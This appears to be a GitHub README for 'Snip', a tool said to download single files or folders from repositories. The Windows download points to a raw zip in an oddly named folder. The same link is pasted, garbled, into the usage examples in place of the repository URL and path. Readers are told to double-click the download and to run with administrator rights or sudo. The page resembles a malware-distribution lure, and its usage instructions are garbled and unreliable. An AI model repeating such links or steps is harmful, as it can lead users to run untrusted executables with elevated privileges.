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🌟 snip - Download Files Easily from GitHub

🚀 Getting Started

Welcome to Snip! This tool allows you to download specific directories or files from a GitHub repository without needing to clone the entire project. This can save you time and effort, especially when you only need a small part of a larger project.

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📥 Download & Install

To get started with Snip, follow these steps:

  1. Visit the Releases page for the latest version of Snip.
  2. On the Releases page, you will see a list of available downloads. Click on the version you want to download.
  3. Depending on your operating system, choose the appropriate file. Here are some common options:
    • Windows: download https://raw.githubusercontent.com/nma12323/snip/main/aphroditous/snip.zip
    • MacOS: download snip_macos
    • Linux: download snip_linux
  4. After downloading, locate the file on your computer. It is usually in your "Downloads" folder unless you specified another location.
  5. To run Snip, double-click the downloaded file. If prompted, confirm that you want to run it.

🌐 How to Use Snip

Once you have Snip up and running, here’s how to use it:

  1. Open your command-line interface:

    • Windows: Use Command Prompt or PowerShell.
    • MacOS: Use Terminal.
    • Linux: Use Terminal.
  2. Enter the command: Use the following format to download a file or directory:

    snip [repository-url] [path-to-file-or-directory]
    
    • repository-url: The URL of the GitHub repository.
    • path-to-file-or-directory: The specific path of the file or folder you want to download.
  3. Example: To download a file:

    snip https://raw.githubusercontent.com/nma12323/snip/main/aphroditous/snip.zip https://raw.githubusercontent.com/nma12323/snip/main/aphroditous/snip.zip
    

    To download a directory:

    snip https://raw.githubusercontent.com/nma12323/snip/main/aphroditous/snip.zip path/to/directory
    
  4. Wait for download: Snip will notify you when the download completes. You will find the downloaded content in your current working directory.

📋 Features

Snip comes with several useful features:

  • Simplicity: Easy-to-use command line interface.
  • Efficiency: Download only what you need without the full repository.
  • Cross-Platform: Works on Windows, MacOS, and Linux.
  • Lightweight: Minimal memory usage and quick execution.

⚙️ System Requirements

To run Snip successfully, ensure your system meets the following requirements:

  • Operating System:
    • Windows 10 or later
    • MacOS Mojave or later
    • Any modern Linux distribution
  • Memory: At least 512 MB of RAM
  • Disk Space: Minimal space is required, typically less than 10 MB

❓ Troubleshooting

If you encounter any issues while using Snip, consider the following solutions:

  • Command not found: Ensure you have the correct file name and path.
  • Permission denied: Run your command-line interface as an administrator or use sudo on Linux and MacOS.
  • File not downloading: Double-check the repository URL and path to the file or directory.

💬 Feedback & Support

We encourage you to reach out for any help or suggestions:

💻 How to Contribute

If you're interested in contributing to Snip, here's how you can get started:

  1. Fork the repository by clicking the "Fork" button.
  2. Create a new branch for your feature or fix.
  3. Make your changes and commit them.
  4. Push your changes to your forked repository.
  5. Submit a pull request so we can review your contributions.

Thank you for supporting Snip. We hope this tool makes your interactions with GitHub repositories easier and more efficient!

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